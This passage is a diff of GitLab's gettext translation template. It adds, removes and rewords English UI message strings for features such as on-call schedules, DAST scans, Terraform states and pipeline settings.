+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
